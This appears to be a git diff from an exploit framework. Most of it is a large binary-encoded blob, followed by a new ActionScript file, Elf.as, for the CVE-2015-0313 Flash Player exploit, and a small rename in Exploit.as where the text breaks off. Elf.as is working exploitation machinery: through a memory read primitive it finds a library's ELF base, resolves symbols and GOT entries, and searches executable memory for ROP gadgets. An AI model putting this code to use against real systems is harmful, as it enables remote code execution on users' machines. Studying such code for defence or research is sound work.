z38$`*HCkTn$2@(e5gs-xp@0qFuAd=0e`oO$Q>S35eJi@|jroF8B#=Y)w{4E>lP~G| zWFGz6l_dXZ2yyXwnE0L%T{JCFB~UeetJ1JuA(yhuAcbfBp?; zDt3ZDG$ZygJuE%cenh_tE1u7ZH(!x^)wL@FHYZjy&dtb1Ra8I~JC%t`&}q^x;JP5{ z;{rK^hHe{8uRI%Kw}vt{(7ZuHS{+D6c#`b%U^<&~YNvr)VWBB7hmyDhw>hAp+bqo^ zuzrC+6_J{KbnK)HY{WkG=BU!cf8S!7gjz`Qnu!U)C6ymD@i}N7YxqH8OYfMEBxHtp z(d~={MY6*fi}Ijbk|3{LI`xn8Y~S)u{#v-0*yU8x&tHClLIVhKv)rJ7g9~X_wmoV= zq^Yv&CX*DdYYyXdSHH<03f=>-@>KFhp}y&U-sD1y@rGW7U8Udn^M->Xe_DPT!`^UM zcAVteIk2};&%83Qatq?X+H(m96cw$2O8c9VZdsX)uPs4eBRIRlot}oo$O`A20VzAElMjkbl-wJE>qy;EZ`FkQETPJX-v2pSm^WN4`R*ro*;?E$5qj?{>(&Y zi5JgX@wGvMA7jrdj>X_I&7e--BcjX^;f?x_Hx zIPy9eN$0ak`1s-vRoI;gonBjs8Ydx@3#61#<0Cy~#@0sZ@vC^^&DhnN;K>XPbhIhr zzF6FS;M@^n{L4SRzcgE1qe+k~@{|G#Q;Bt5(JNyHauZXZi6tI}a%}4^skh0@EQ#y| zg6!iDFqGfR?|dKMe^69N1LX8*ZJ*|kM*nDY+YM9EGdBb%6)%~u1LO*YM8n)2+a!;| zc*Rti&Zrykxhjn=_%6Bdk;rIR_I9!6UDevY1b|c&m#6?{ofBATB#}YfpdxwKEjL{` z)KUz47}%tIw@vtnQYULi=zs|$6IRPJN4qiQ#JL2o=J40WxL zGHn{WpCrzXe*oM`?(<+=HNO-29Cp9Nj`K^R8K;@M#ed6S4@J;A>|(;)3x_hLvjQkc z{4o5^)e|k^{2yXhb5nyTB;y)IC`XqVywI=V#PxFm zAE5Pkcet??k|TE1VKzd@y$oKLXyJt~MOw;Bo(uoJf0lTw>RhI`!*`u$dY$9ZS{MhwU75DCkm#|G;Jzw>Ol>gRxRt2# zXgfEoTci^b5(v{aMUf^p9o0D&;6x#8Dw{ON^_bcPyY)=o^c62$%c5xK>d}`LB`Pd{3}?J4!*i9Ev7<~kLk=?w;=go0qhf+ zhOaIS$A3s?S#6vtbijIy(W>|sVnSVO|MD7*uXppwTNmhJK$42e;<{nDO$(c71`)mJg1jLIX#R*0WjzC z^7(C7L^oR_YTDPg#NbY2^+k-vedQE0I)BC9BG8#Pzh#Bt>l%w zH4JRc@*WzzidGgRhzvPhK){4R7#G04q#uNeQ6B|;0+r}b=h`t7{CKW$L=8)a!`^<6 ze_~wW|BewAS{?VqfYUy%@U7 zdVRH-CWtLlyUSJAKrB{|^^RX4cVT=Uf3&@g?qQO`14+PCnYi#|&^@=xsjj{Z85v^k zPjn=ln5Cn@^-cREc4;)fdC*~mLoD|rr%xwXfznOduZVy^W|aPlD%#|TcWFRmxVCz$ zM5G^yf>qv$4+(6_l`9mRX-~R51D)QJ3mB;DZgz|^nW1Zf-Cng5+t~99tnINHf0Cm; zuH6e{m1bV7uD}U(`EzdS0J{Ic0VAcx;#FBa8YSK^gNcm1^dCCwP)}C+SVM{LJ?b=* z@_oAW%}DE0HI$7AAjV9=in+o7uxVr~-bpzX!zv@V6rb`vhXmpdJa>UzZxhD|P5NWKR(?6r_nAk6{;XN>qmN7$?E~3?1 zN}Rr$@i=mG8mdrL=9!?Lbp7}}T_*S->SZXpm-Bh_JF5q8sD$Ci0cY^G5~KJAEvYU} z(7u8zHq?!bptFszfMl-9f1nJPkmW}bIYDc)jWjwa+`iREee7gJ@Rac>LwIzN*)#DZ zf}s;3!{~T%Siz-R#=(~jH;<#MRyw!@FBVVK(Od|WK4h)?HF~RU>8U*?9cBuE~y_HDhd#r6m$kHT;wJv-GJ5FfCyM|f0}cuN&(V=aJAnw znVcGr@9ZuC?JqNI%@Ut3n;vw_WmwRz+~BiVMH#c7u?!yedSA4-=&*ECkP=?dO8jB1 z35S|iQ3aGPP+I56M_m8Y-}qM#q6`k4-G3O$St)l%{wLiF5P&hj^h(hIgT8Vw!8|?+ zl;si|xP95{a1`Jck>)}D0zttZmWKTr1+3P(PT)UAB!t9Tkj8a@aO0+CQALTS!rN{H1OjP0 zXXgk3a^=)~f1dLSR@yYDQo{ytqtgXkwY>K6p8H2vRubiguNf))X_GXAKSJxo1^jz5 z$H9uQHkV%%A4hL_^}w`z(kJ;lH0c9Ko>m2QtXO5Dp&@g^QM!ZQ4gcDs+17O>T7l`> zIho&+qaB}6&cVON4jt0_h3?ffsfUw@M8B~c1Oh}we|h7xmFkrC@X}VN{J~D0N3H@G zDTsLV{9Djj(6JeD7+A3@+wO5iC+yz*lx$B`EYk&5Fk(_J!3F#0QBo7uMEroiC*YFj656;(mHT_hi`sJ)duR$sOKEvYr#m++2&|4 zyXez7f8q4Pma-}~l!Z4`4_8juptk3q^>?B{2z*GkjI1Y`=m z6F1Dm*{gYRn*D22<*Cnx-*9t6lPK)NwSQg6%(*z-BG_0}Pc`pZ>$r=72iYkm&E^@ zI&^$uBl6N|9F!m<{s=wlx~*$MSYG8I1r(VtG~vYM(@$LGuUng$Qzf>YShNE-v-+ua z4-v1%rjI7&{xnW5rv-%~`fL4WN#_X|f6|5>IZ!25d}*H(9eO9D_p6A~hU_|mK(d7|PF z7r$32h<;r}k_D#{O^D_&TP3UWIs#MemMYhUuR9D(2VJV%*irMdCG=4Sf5)-}0HS`! zPVica60{6ieh#T2(m5#veSm$NpvpZ#a)X;(MStrdK%yR5lV_}pc)}6z%DyuLZU|Qg z_oga|afF}Z^{ol%emOgeNgtVU zl3?2R`}99O^hT0B5oNJ!zM3$sQA>RdnT0Yqr|B{P9+mOtXyxuMy)TcX`xGLn>$A?w zkp=q+J{Le=M-Kjz40U~d|tbfx50uH)@fltI#m zc(@vkCnd-A40KWdsb!l$*;3vsiN=?cqrZ0=QCR&JB1&dX0mDnEk>PR2L?ur$+t&`7 z&iFJq009#d{wM&OMN>%1EY1Ny=hSIc6Ti@$Ms<%U#&lXSf1-=8aw2u~#6uy~d890R zZuX9sYu}Fy_5RN&^Ix*%f>F?LE-8(v>4Mv$askM-t5!|GwfaDXp6D)HA#p{Lp`pmr z3FJW#vCz4shtF~-?>TCCe><67&|lP3PX4sIF9wYNohRP;BfEgr2$U%wSA}IchBy zAgi{m5UTmb@?GD#i_uzMwI@m@rkrr=l8 zCS0{6!99!v>O|09O8bf1`y)Sx9_e;ayC^&?xm3>D21MNHQLK%TMun#8vo4bSW8eOImK(hQ^J@i^eS43BdS$inl- z_ZDctoq9^aXL#ieY!2MTAUEQoucMd8Njf-9)f1YTj)~R;7t^eKPO&&I&)g8V0#Pby z8DpF*h}aYKxvDorrFw|fQl#(U+m0yJ4-&Uxf1Q+SKc(-35rv^2aXrfIUTGH(OVR&r z;;w_ng_Ex7syCzJj7l&)??M2xQquAA3_6)vXY{sN_wwMMWhg}GQ#_*p^eW%is}VI_ z0snh|?~frv0Y+LemDw|_@CRKq*bqX~y;s;)f-lTP;q46$z|&mZg@&URdw2&hXc~wf ze}dk2PGKp2(uq7hUKcsyq$dWb!r@j_l$*Edd+{;(1IK(=YN@xu29(1BvoQ&o8L6#g zxB7j|l_qVm0qV55UrP_eiYo%~GQfAPJm+Z^%|UdJ(!+C)gGsVU~wjmE%XhH9+7 zqUXtHtTeu3E_GEmpPLz=d46bzXC7R>(2o=^S$Kt5TRAU1TFG!aCeiCHEy8#yeq5ve zq4KjkS_b9{rvUfwCA+ap)nPuChI&Kbmb?yZ-jJF$CPD}+w;5DoEcph0p z3Gi7I+DlcXU~Cai4gJt_*0Q2;f3e${6+rB9j*&DRt)~MW=Mgp3E+~H@_>$a>v(LJ^ z^rFVmdMrop`t}oJh5kXe)HHC}5*6VrC9+U&o?;CRHL{0eEhs?(XHZz+WDjz|hJ!>V z(V!#3HCh2TDWrk8F?ZJB8t^XB=3_PLSdw?A!$F^fkGeRY$p~Q=Fa8$)f102G_27EJdzMisvuz? z16i}3_(J|n5D3mVH8#&co(3-(xTTfo6hiAk)94-~CHiyG*$(F7p*l=&M|2+aDY&sL zC3ZLY_(vUHvA0?0JVN`Fe-k%&87awRoF+*ZTCn2ct^2)IFWnKK`V`HW7o+M)q_HYo z$(p94C#z<8E_R1mW5786ggU5WXl=uFnj`(4gpzU~w>L@bD4f~ctoZFpept8jr+@NP zCjLsWD_w0KgZhdy02O}UI@S1~npg|}jlDZtPnF$iB9rI3pj4M8f4UUN|MHVX2(hk8 zkHX2!W@*43hxeA;lINTdFUE>^U^-6=6d9q-m7R;=O1F`1g>AS}9QF$BN;FBKhR1as zef+?@K2^VlRuTW8RJ9Ki0$_dE#TO`?l*cLOOhG;I+&`t&V(KC~gR3x)gN7{pvW*@hcS9xVmTe@h-}#XmYVpHD{Ell3IVQf-zAi5Q-6PFQ&|Qsn*O?5$xNr*4t7 zBf_=UzqRSi zF_8Oo)MvF)h0Y~1j*yc+-1o?4+e7A(fC zfZ|ezy`e#-4AT2gxSh5-@(lIk`0-h*$bap-Vl-lGH#!Wd@!oD=HkrAs7eLIVg6+Op zTpkEYc>~j=e~=r+Q+fLNT9IRMR(?EhYK3uNb{CV!C~U3xRB5z?vTNhaKj1K~j9Uq{ z$m^w8e{}{-&h>2J23fEa;toU^6&*3B-lz+ zV2F+;wQv{Q>{jJ9l1Lta*W_ZHtA%Xe4;cmF=viGg%fLoIF0fkiFXVjh&kk7b8nVbp z{r;b-DcudzNU~A5?=#9ARD5p#D{fLRm!9sKi@twW$}W8b)|g|7bWTLA5BWZ)wYG?r z^2k|yegZcR9^C}*l+Tux&$t9N*3$k_L@&V^yS%|_4kl%% zJXEtzu(~I^XN}NsFCyJL0!{hg8I>qO!Q0!bp~3%iCJ-Gg`Uo8q*Xn*6 z3@~~i?;km|ToJqkudIN>W-pm^NSVv)j3+XVe@((57?8LK^b(W3tJ3L@Gyc=ef$?R6 zKz(7IPbhw<*x-~mz|bj}OebeF(Hr+ISP_>Yvc+@S$-&zUmU);bb3Y_ox1q!L(G(Y~ z#RDYLSmswGp5K`&ETQ|axJr{=kKemez?9;~meQy>wWmD8^SLVT9=7cp-0jaZ#iPi? ze<)kwM0z(}HZ?B-N!`wl_Akl@3wo+|y$$P+m^Q~b--8I(>vYVm5YYat%djg7G}XXJ zY2NqIltp!+k0XhS*s4BdRe=Cxf0}`oCPAQ`O2CWo@rGwZohC+l&(ZO6CE?n2@AUGT zM$!|=PD+@|5<|D}l}yh6#3E{J!F9DTf3v&iO^g6Zy|V_p6;`8cU!7#tJ>RkjK0qoj)8_|#g84oLxN6^4cJeQfa))zlOFG2Rr3V>gp5fEWBGS5j5DUx1t|JK~pp02Jtbe?y@=R^8jDe_Pws0zD;oB4GVKPgz^vWWyOQ)bQ;m;qGE0JM<$BDUR4DTW}J)VNe5~zpx|1 z={p6+y(<0qs%VNo(QQegTD?0%TzHoEjz8}jLyqXm!p(wpUk(o1qkoSp_~guIqO>)h zs*PR!1? zmJepib~CE|6^Sg3!cpFcrK|5mMu?Su5FHE(MdCMtbt`nhFC^QUM)V;)@m^N{zv0}w6j`z8sMtLf2)cc08Ehm zR_Jen!TkWIvgh?yAEZbe-V&i;lE27)&k-rikF1^b`1QZ}R{A^~@TNgOi%|qoZ&{j2 z>*92vfPB_~M)mgCRK2d?&1(Izo)v`-Dau}zh8pNX-A3-Ny(Nr|Ka}zr$kbV+2qJYQ zI_7650x~L&3*jsJ-|5X8e_cU33I*LkKR$Nt-JL^MC*i(tT8oE6szh6vLsL%VH-~WIMIzTk*BE_;Uj@JCR29uE%>6)x@`pih6p) zr&hM&vyNSpv8s60);#JIbG*=1zDC#^>69`_=yhW*UOvjrY^Y3)2sf?!j!3P1Hs$B2nvY-|mw3 zwalf_H!>hR6?6!ktmYgU)^Q z6>n;n)|P_6e}~P*FgLVcjr!+M8Z-DukJ`tE?VZ}Fv~eS5vGBPn@CT^FDtimcZxzewkR(} zr(MwQI#z)#xaKWGRn>2xi?Pd$8>lGnk#Ln*Fj)3Re~P!hYpaH{1g$<6IGDs)ob9cA zp;JJ5<6;+7$05#y+pgMm{%v@ZW?ulm^2uV&foIC%gls*T!-9sqc@EG%hzkpk+x3AY zXj}!NQM;{j+ef9O;ue270wDQXVfoptbM^MiveIyEg&!bVz|9=@SJ@cIzrt~)OXM+a z2e4p?e|8rLBSp;F2q6(QjRJ54rFUrdz6@PY`aHVZ-NABc4so9W!Qqoy0)_zVtuW|DSu@A ztJ=^VSK85EXcba0hl#_|;kKv=>`QTEM_Q zc$LC9#i=Pg!RSfh#3W1Kgr9t4O=ZUye~!RUxFU#zqoOk-;wc&lL!2EW7i~oiwlYEi zv7d6lM6NE0Dyfs92-?&15L&S@}wGG$$xpJys_W%z3}enJZvwZUqWtNutY`Thvj zD8KrFd)3(AKzF{`4Ksl*D(a7Ae*qrM@8hl)wxmk$>keEG8Ix~k?HGW_tE}C6)dz-m zA(L#|y0j!{PeUQaH{_)!u?4~Z>8#e(AxLcVn!Q^G&1JjNp@;NGU-%q!t!kG=Ykl$;wXbxhJx(_2f6`ppY_9t2 z7IXr)TANAmy{kTtptmg;e`tNg<%DxiT6kS9TlmvVL~ABOW(E|VzJ=|k22`WJC!vg& zX-;(wISk$#r5PwU8w@c$no<;14d=SPMy>(?CDW+`Aoa1>mLT43yFcjQ1i`M|KTfMl zI|Ss4ZxI09B)0%z9 z7UYI)ey9+PJ|Kv`P`S$yA<0t{*2t;33y|t#0zic2aSE~+OLZ@N!6WG*P~%6rk=Mm2 zloh?7Q#nBhND?r7eqUuxR<_Q>e*gbu=pnq#`f@FFzT@Cb-;mwf3TnBJY25?rR7-=^ zWOOiZa+byAt%S@me}qf0fc1wjBb9QmuV4FK099Rf@l>j77Eo7T=-+~$S*xp3*B!9*U7GWV-f{*`N`=#mul(LAZwF;M(-PIJfgol`ru{?MuvOXOr>89Jiz zbV5c8bUM^iYUb-Vuo<`HuX@1bs#l$QJkmFR1(vrjEW7#<2%=3CEk9uLm z>&~y~PIf$D{okv5@SYqOW@9?s^&1a@g4E63;A4-i6pM7PDHi0K(oM-RT@x*wrwFFRpKNY_h_CB)NPGk~o-gvCNXL(EI@&D0br4#I*6n$*i@iN6 zagU4#i>dguQ_taMp$7q-YbJj3bN>r9VIC`XfZxVN0pBmH8%; zGO1dX<*UO^IMm-KcUf9k-8dg7R?hD~K@|XFlBc$oR3d$sQON6C>kN#9EKBM!GEy;W znsmp-f7=9>ky=n{(qN#Y;ylq?gDXXy*De+~`tKx{dAkQvSNlCay<9p`=E#?T`Qs|S zXTbSz1(A_(TAP1G{UVd+5u+zgxWT!zC$peurs*&fBiz|qWR>sqVKXFJW#9}`7G;c; z%xL%kaqAgyyilLrzlP57Pn^Ca#`R(pMn5cUe>_=td-6%JYXRA5T}#(NT1y|6MHveI z!E9l1%K2sm1|PRw(+7(pEvXszP0Pm|93@r>+_I{)Z&)j{O9lmY@kJ2blIBH8MJ@w7 zgXt&X*!T5)4fEpgeonG}ZuNt!PitZ2@`#V^e0)WYf(2SFpPH=mJp+fStiKc;dU}qk ze~C#JKQoI8GUjNmCDf)~`aIq@DG2 zw`3De+#_f3VCmdz>BM~DEh^s-AP1XvQhZr1H0l`| zi;WRuEW5lJxb~>OExoQ`@pf%h7;XHgbIK4bF3g|#=fehYVT(mtF>Zp%sTO-)uBmwJ5{pKbVD>Gm~60oiXxZFk%Zf3za3L02~40)IC?#6;`N``u%&_c*kqupIEFV&*R| z%3;KjXP6*3nH3{m4v{y?I>o%CrULNF2(=u?0e}hK^$|XGC zRzZ5KHIXEg^$^n2kb2(-u--^a=&RqGi^#_i#c^EW^CFm@OgK&RXx_K8cWxRrtRy_f zAz`}^G!Qm9M|SicQw#&&68@Au9!AuP3YCZ`EQ%9l2b6nM$vW+8!_q|^DM3p`c#_qh z<-huM(g6=YuL*1jOPL(Be+3A%G*c`HfYU3BeLlR*B%?~9f=nW2_gPjcUnqDkLQ=kn z9X;=@b~OS!x=xeP@cEGuntsqu9_IG^2Lb?@dO{y$(oK*W(748Ed)_*eCYFeThEJ#w z-)|ahsEGdUOK99NU7FeNvt3BOc%XV$$v(Dl_(;^is*>*r)mkaTf1Y0Q!_LnSUg|ed ztrGWCd^lSz27d%|r3&tNaWf{qs|i&N?(DowK2ETLI5VB1$l4dWno;e})7MMyU3Rau zQ&zE1aM*u(8FQdX9Byj;=XJTDI0uX!vciwR;6C;stlF*$R_Q`L8#0iF9)4&Y z2hMKk!j_K>#Sp(vl|#(r@7t{kP?NJW99z|sLA@4nD|erpf1Nb6(2`B7 z>1|_+@BIOPe)hm~+K!}}8YSe&B=_A!K?tCRL$)EHKkL%MphnbCeP$Fpw>xihjpAlh z5Ag2&hKu9ef7O%<8xW-Wv^}&7-JSa|t>^UW2fn`Jb=w&1Nj~W0L%(}>L<1wEP0<-J70lJ23o%8?LubF8!8CLCl6+h|ySX0f(yzgMeWzB&H3MIm zZGMGE6!(QQ4K)xPg1ZFx8MnD!V0}nnPBM-iHqrJrf6z-iLg<}3Xdzf}(E0sKy%mpq zOnhz<(p9?>j5|(=wS1Oy^Qq`#aK8-?$dOago>GX*`CjjiavOd>0 zcKsXvj7NQy{*}xiE|7L-O<3gfcAHb{<)%xI<7WVxm<@b=`_XQuHjvS>=y;YZ`XQ^< zf78ZIwza93QO_+!z1{WqfZu|x1I;tvMLZA@qWgqI4pLT?G_b!5*=oBih`8_n`6TSd z2RmlJ%%e${{Oy;|FTdHg(!(4{G$dB7trz9u$`;ijq&L?3x2=oVyVGF@4gl3(>A5yl zAs`>{XOfd%u4O2zAVW@K$FXm<%Yf$XfBf23Ymm%IFvJz>c%;K>SI;U0PH@Ibd!5^C z@0s`qSxi?})qHUnTa6kocd315vpvQ)rQY3B_?olbWS7|#O~E#CI&8paaPSMe+mwX z1ji$L9%=dC|2943U{m(!nb1WAZI@43F1`FM)we>Q*%mLHr}r5Ry>@H1BnzSWl;V7r1>vM%aG_9WXc zMbL2&pBoqU_9#Lf)FQ$d!FP}~?@3=- zWvbql4JtqiKtQ?3ArSqb$8Eo&QFj&uLtvL39ea<5pco2f>B-050nO~z#G_M&sfspO zj-puGYUm?pahb~rpVkC9wXm7CQa;aAx}mE?~_~ zbZ}A3BsOR!>KCHm`W{?h>20unxI_h4Yx50eF96nW=r)u!7TvP8ivdYr%TM!aA zIL2l&RQS0jMh2;K6Pp47LwZIDM5{VJsTtz!ZvJd1W?&?ipoU_Ne?R>ySz6GW*H-HC zF&;U~t9T;)kK=smP$&rxrIlne#$F8-ZrqADnj+lprZO%2rQ3 z9n^16OIr=3BP7|kUf7CuH)_XQ-$k9cI^(YhDmY09%;_dSLSdAH5N<<};8Wo(yJ zs(4V3B9ZtdKE?#of6bs%fgz4cb-kUdD>VH79nC(pdAKeE6`4OiM5F6a+1iQ$W^o9i zo(&`*$xOgK0O6$7Hg2>1W;Fnm$8Fk8p6@xuo(l`z=8KvPy=n%cBLbHHdS8w=`O~I7 zv6I$AC9e@1SZJBTSoav)x1gtPna zf`s^Z1~vlxXYDK}DM^HBbETL#il6J(3cUN0h~L-ezmnI5SY~Q8;Ob= zO%;%{!~WL966)U_fQxz5eGyu^eWf-NAV=KiG5Yx9TRexST&N}U=Bqgp@o;b1%1r92 z@M_9hQV>0If3V}!R|7ExaCQD!25JJ2V)JtASmDB;;l{??doYa94nbN+H1C_%nuzg>M0B29GlUgRaI%AHWSdr}O$1Y{!3L zk9dR@uNU~3N1(NPquADA1G&BnRl227`2N?XU7%Rzua%>X#WC)ybq&qL7skCJ6+piT zCMSN>e~e#0Dr^;L(Gq$DeVo{A6ztYYd4E|%Ti3!?3zrQFN5Re#2W1-A9OCXph-!d!+%kT9QqHwmVO4_9hbqetaN& zNBqAmtAe*sHuQpwCaCYs>aXe0bD}wah{FD8AXRp}>92yKX6QV*catjH&nO$dWL(ki4yP?0y_OB>AjJNDz2C zFN!;fXwzN(21ZY%XD ze=FWzDAeVyq9X=MAY6a-$TLB9mp%G=ok`0Dvykj|)G0x|ir#^j7qvDZx zr?I#AZ>~6+w37S{+Ar75j$q(q*#q$+y!TF@3;aiVHS+MP^o;PfMghz4X=1~fLA6~x zw~lye*Yv_|isrNI5;0-b0OqT@oi?M?f5sdr@J!Nrotlmk^@Sisl41kJ0xdbrU#B4{ z<{U$0o56Qq(u|Cl;AZ0 z*IFSP(;O*H)V&xCQN*vXLiQtl=zz2U3o*z;3Kt}3c2H;rf0N)m zZwO($OiwIEr$o^c%0sZfL=5?1cwMZji-)`Nv$D5Sr$`6O2CHbGw1TgZT-LF4LK>64 z^IYpw&{Fx?7^7zIU-p13ur$Vzh3YA_C;l(nyUek}sP#J*?FYeWptsa zyY;>lL~~r!1wo}&FSJbV&?RjJs$TnK2gZQkCZp)uGs=kzn#Cw=1H-S%2M_wlq37jA+i85 zgs?R|GUV9ONIMGFAnjE8vt-yi8Q5S2KGeI`4hXhenOgIgIqsI7*rgkEAV~jM8F~W|6f2-JW`Oi~p5zQu~ zOhk~$y=8`*j=8wvKM3vlqg?e?9V#&QwzCbbXz-RY5SH~jadZ@}vET#06e;Qw^Wl2;am`(CFzt15J82vJ zXcvZ@g@!J+6MHIQnP%M^1cjfeqz zV)UN1RE3NQF0D?uLWq935gWwBDTE(A8CsKd!QmcIbb|!!y_M$a`mG)2hIQrFK057? zpH{i7>Sp!y31uzWRb?e2qMmzHfhu}UEm1vYcPr-!URN-Fqs&h#smxqL)Ibomc znj+9;*na?9xG)s<@dlMt?CnnW++!zy)K%9wbay+(zZDQ?lZttDrKa_}3km0y_3?E^ z)Wki2LG(03%N^v{$*qva&^B>5fwS!p|_xCQP-7Z=nxW zmB`&T;}EL!GSXL&Z=Kn=QTMo}`**tFcU90vBuUS=7pfzn$;gl0>jl`3ck(##=~wLN z?OIDaOV#PKty1OZ${=%{GL2-7kTE`;Y zY4&npf63B&c_Y1*(10=;l!{Ee3IRo$dnXCz)3t#3A7t5$4uXM^AN%58>kO+pon;Ni zRKB?b*!<-v&~zXZ2)KLk%{}3w%_Xo_UKO&q1qV&70l3F9=ciGJgg_Gpx|P+_({?cK zp?{Ro(!;Tp&&KTVx$=nCJA9>+(Z)Z2a!fL)WIKNE;J>n9-Ss*g+~)m9<}BG&s^OI{ zr8h#VoF~~SAwny2agZ8ktmRe#;Pa580g)&h;nsC5~z;xOwzxDN^WdWCMR z?skQp)z!TG#pYw{j-3%Cd#skL0*y|MNxx1kEeMs!L-GQ)UpewOLj>jI+mdoxnc3=o zHJPknFqW<8n1xKYS9Lf#KKlPKQ8?CeccK4X6+*}^@6C7Bi1XVSYvze6F|7ypCx0W{ zPX;#Wee|@aq;Dqft}*={G&;4uD(+VmSh*~?DS8!`j9O?d5ItlRb@&i+??GX2Uyj&v zvf-KUjWN8c0Hff&dTTPd-?eYP6tv2uu#eJFVQNg_9stL*TM^PvE=+(*ZX5{=>`M*L z6zxI503I-=!{wvD?EdaAAjpz+1b_V_lssSzlPD}!>xSn;{2*3T4HvUsuq51(Ym2=@ zm-9EOpy%~(q{BdqoMdeq)*Npi;{lu>PCzPHW<}wO&wUTjVn9p9@Xk?k)N?lXM2>oS zVBorrcZ~iAui@xv83Vt`=bftU!l%wZBiOA;-_6GGAZK-L9ExlgjvKwLeSbmF-k}k< zBL{&f3NiT>?8TAqGRziq!=R-QiXFjH97qhYm`BaV(;HF{%6p|5Zi)b_9R~HKAJWqo z8k^f7!~fW~CBwxz+H;{PNh21e;&61p@LXngu&88+6Za0rW`I2c6(ZY4snQNs0FJM% zHMk+(P>)-#9YAx^zF17pMt^(S^QACf(?VwDU{PwuLmOVzpJMb`Xymc6sTL z!RVt>$CK`r^(rX@s~;zdjFD$Lo9tz^?hkIsaN_E|JK^e3B^0_bT{d2ia*BK4t_nL5 v2k9Ou00DbExxXUD95$KOCUK)EIm1Arjh(VT)SEP^OU@i5!=Cs5{w7Y!o590S diff --git a/external/source/exploits/CVE-2015-0313/Elf.as b/external/source/exploits/CVE-2015-0313/Elf.as new file mode 100644 index 0000000000..ee7283c61c --- /dev/null +++ b/external/source/exploits/CVE-2015-0313/Elf.as @@ -0,0 +1,235 @@ +package +{ + public class Elf + { + private const PT_DYNAMIC:uint = 2 + private const PT_LOAD:uint = 1 + private const PT_READ_EXEC:uint = 5 + private const DT_SYMTAB:uint = 6 + private const DT_STRTAB:uint = 5 + private const DT_PLTGOT:uint = 3 + + private var e_ba:ExploitByteArray + // elf base address + public var base:uint = 0 + // program header address + public var ph:uint = 0 + // number of program headers + public var ph_size:uint = 0 + // program header entry size + public var ph_esize:uint = 0 + // DYNAMIC segment address + public var seg_dynamic:uint = 0 + // DYNAMIC segment size + public var seg_dynamic_size:uint = 0 + // CODE segment address + public var seg_exec:uint = 0 + // CODE segment size + public var seg_exec_size:uint = 0 + // .dynsyn section address + public var sec_dynsym:uint = 0 + // .synstr section address + public var sec_dynstr:uint = 0 + // .got.plt section address + public var sec_got_plt:uint = 0 + + public function Elf(ba:ExploitByteArray, addr:uint) + { + e_ba = ba + set_base(addr) + set_program_header() + set_program_header_size() + set_program_header_entry_size() + set_dynamic_segment() + set_exec_segment() + set_dynsym() + set_dynstr() + set_got_plt() + } + + public function external_symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + var got_plt_index:uint = 0 + + for(var i:uint = 0; i < 1000; i++) { // 1000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return e_ba.read(sec_got_plt + 0xc + (got_plt_index * 4)) + } + if (st_info != 0x11) { + got_plt_index++ + } + } + throw new Error() + } + + public function symbol(name:String):uint { + var entry:uint = 0 + var st_name:uint = 0 + var st_value:uint = 0 + var st_size:uint = 0 + var st_info:uint = 0 + var st_other:uint = 0 + var st_shndx:uint = 0 + var st_string:String = "" + + for(var i:uint = 0; i < 3000; i++) { // 3000 is just a limit + entry = sec_dynsym + 0x10 + (i * 0x10) + st_name = e_ba.read(entry) + st_value = e_ba.read(entry + 4) + st_info = e_ba.read(entry + 0xc, "byte") + st_string = e_ba.read_string(sec_dynstr + st_name) + if (st_string == name) { + return base + st_value + } + } + throw new Error() + } + + + public function gadget(gadget:String, hint:uint):uint + { + var value:uint = parseInt(gadget, 16) + var contents:uint = 0 + for (var i:uint = 0; i < seg_exec_size - 4; i++) { + contents = e_ba.read(seg_exec + i) + if (hint == 0xffffffff && value == contents) { + return seg_exec + i + } + if (hint != 0xffffffff && value == (contents & hint)) { + return seg_exec + i + } + } + throw new Error() + } + + private function set_base(addr:uint):void + { + addr &= 0xffff0000 + while (true) { + if (e_ba.read(addr) == 0x464c457f) { + base = addr + return + } + addr -= 0x1000 + } + + throw new Error() + } + + private function set_program_header():void + { + ph = base + e_ba.read(base + 0x1c) + } + + private function set_program_header_size():void + { + ph_size = e_ba.read(base + 0x2c, "word") + } + + private function set_program_header_entry_size():void + { + ph_esize = e_ba.read(base + 0x2a, "word") + } + + private function set_dynamic_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + if (p_type == PT_DYNAMIC) { + seg_dynamic = base + e_ba.read(entry + 8) + seg_dynamic_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_exec_segment():void + { + var entry:uint = 0 + var p_type:uint = 0 + var p_flags:uint = 0 + + for (var i:uint = 0; i < ph_size; i++) { + entry = ph + (i * ph_esize) + p_type = e_ba.read(entry) + p_flags = e_ba.read(entry + 0x18) + if (p_type == PT_LOAD && (p_flags & PT_READ_EXEC) == PT_READ_EXEC) { + seg_exec = base + e_ba.read(entry + 8) + seg_exec_size = e_ba.read(entry + 0x14) + return + } + } + + throw new Error() + } + + private function set_dynsym():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_SYMTAB) { + sec_dynsym = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_dynstr():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_STRTAB) { + sec_dynstr = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + + private function set_got_plt():void + { + var entry:uint = 0 + var s_type:uint = 0 + + for (var i:uint = 0; i < seg_dynamic_size; i = i + 8) { + entry = seg_dynamic + i + s_type = e_ba.read(entry) + if (s_type == DT_PLTGOT) { + sec_got_plt = e_ba.read(entry + 4) + return + } + } + + throw new Error() + } + } +} diff --git a/external/source/exploits/CVE-2015-0313/Exploit.as b/external/source/exploits/CVE-2015-0313/Exploit.as index 6c978e8d90..9ff5edcd8f 100755 --- a/external/source/exploits/CVE-2015-0313/Exploit.as +++ b/external/source/exploits/CVE-2015-0313/Exploit.as @@ -21,7 +21,7 @@ import flash.system.ApplicationDomain import avm2.intrinsics.memory.casi32 import mx.utils.Base64Decoder -public class Main extends Sprite +public class Exploit extends Sprite { private var ov:Vector. = new Vector.(80000) private var uv:Vector. @@ -29,9 +29,12 @@ public class Main extends Sprite private var worker:Worker private var 